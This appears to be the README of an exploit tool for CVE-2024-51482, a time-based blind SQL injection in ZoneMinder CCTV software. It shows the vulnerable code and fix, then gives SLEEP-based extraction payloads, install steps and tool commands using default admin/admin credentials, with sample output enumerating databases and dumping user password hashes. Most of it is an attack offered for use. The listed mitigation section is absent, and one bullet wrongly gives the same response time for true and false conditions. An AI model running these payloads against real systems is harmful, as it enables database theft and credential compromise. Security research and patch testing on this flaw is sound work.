CVE-2024-51482 - ZoneMinder Blind SQL Injection

Table of Contents

• Overview
• Vulnerability Details
• Technical Analysis
• Exploitation Guide
• Installation
• Usage Examples
• Mitigation
• References

Overview

CVE-2024-51482 is a critical boolean-based SQL Injection vulnerability discovered in ZoneMinder, a popular open-source CCTV surveillance software. This flaw affects versions 1.37.* through 1.37.64 and allows authenticated attackers with low privileges to execute arbitrary SQL commands on the underlying database server.

Metric	Value
CVE ID	CVE-2024-51482
CVSS Score	9.9 (Critical)
Attack Vector	Network
Privileges Required	Low
User Interaction	None
Scope	Changed
Impact	Confidentiality, Integrity, Availability - HIGH
Patched Version	1.37.65

Vulnerability Details

Affected Versions

• Vulnerable: ZoneMinder v1.37.0 through v1.37.64.
• Patched: ZoneMinder v1.37.65 and later.

Root Cause

The vulnerability exists in the web/ajax/event.php file within the removetag function. The parameter tid (Tag ID) is directly concatenated into an SQL query without proper sanitization or parameterization.

Vulnerable Code:

case 'removetag': 
    $tagId = $_REQUEST['tid']; 
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id'])); 
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABLE! 
    $rowCount = dbNumRows($sql); 
    // ...

Fixed Code:

$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Parameterized query

Attack Vector

The vulnerable endpoint can be triggered via:

http://target/zm/index.php?view=request&request=event&action=removetag&tid=[INJECTION_POINT]

Technical Analysis

Why Boolean-Based Blind Injection?

The injection point doesn't return query results directly in the response, making traditional UNION-based attacks impossible. Instead, we must infer information through boolean conditions or time delays.

• Boolean-based approach:
  • True condition → Normal response time.
  • False condition → Normal response time.
  • Requires observable differences in application behavior.
• Time-based approach (more reliable):
  • True condition → Delayed response (SLEEP).
  • False condition → Normal response time.

Exploit Mechanism

Our exploit uses time-based extraction with the SLEEP() function:

1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)

When this condition evaluates to true, the database sleeps for 2 seconds, creating a measurable delay in the HTTP response.

Character Extraction Process

• Binary Search: For each character position, we test ranges using ASCII(SUBSTRING()) > MID.
• Time Measurement: If the condition is true, SLEEP triggers.
• Character Reconstruction: Build the string character by character.

Example payload for extracting character at position 1:

1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)

Exploitation Guide

Prerequisites

• Target running ZoneMinder 1.37.0 - 1.37.64.
• Valid credentials (default: admin/admin).
• Network access to the ZoneMinder web interface.

Installation

# Clone the repository
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482

# Make the script executable
chmod +x CVE-2024-51482.py

# Install required dependencies
pip3 install requests

Basic Usage

# Test if target is vulnerable
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --test

# Discover all databases
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --discover

# List tables in a specific database
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --tables zm

# List columns in a specific table
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --columns zm Users

# Dump data from specific columns
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --dump zm Users "Username,Password"

# Dump users table (default)
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users

# Enable debug output for detailed extraction process
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --debug

# Adjust sleep time for more reliable extraction
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --sleep 3

# Disable colored output
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --no-color

Usage Examples

Example 1: Vulnerability Testing

$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: 192.168.1.100
[*] Logging in as 'admin' on 192.168.1.100...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.058s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!

Example 2: Database Enumeration

$ python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <target-host>
[*] Logging in as 'admin' on <target-host>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.065s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Enumerating databases...
[+] Found database: information_schema
[+] Found database: performance_schema
[+] Found database: zm
[+] Databases found: 
1. information_schema 
2. performance_schema 
3. zm

Example 3: Dumping User Credentials

$ python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <target-host>
[*] Logging in as 'admin' on <target-host>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.062s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Dumping Users table from zm database...
[*] Enumerating columns in 'zm.Users'...
[+] Found column: Id
[+] Found column: Username
[+] Found column: Password
[+] Found column: Language
[+] Found column: Enabled
[*] Dumping data from 'zm.Users'...
[+] Row 1: {'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] Row 2: {'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] Users extracted: 2 
User: admin 
Pass: $2y$10$...hashed... 
Email: admin@localhost 
Enabled: 1 
User: operator 
Pass: $2y$10$...hashed... 
Email: operator@localhost 
Enabled: 1

Example 4: Custom Data Extraction

# Dump specific columns from Events table
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"

How The Exploit Works

Step-by-Step Breakdown

1. Authentication: The script first authenticates to ZoneMinder to obtain a valid session cookie.
2. Baseline Measurement: Sends 5 normal requests to establish average response time.
3. Vulnerability Confirmation: Tests with SLEEP(2) payload to verify injection works.
4. Character Extraction: For each character position, binary search determines the ASCII value:
   • Query: ASCII(SUBSTRING(({query}), {position}, 1)) > {mid} .
   • If condition true → SLEEP triggers → Response delayed.
   • If condition false → Immediate response.
5. String Reconstruction: Characters are concatenated to form complete strings.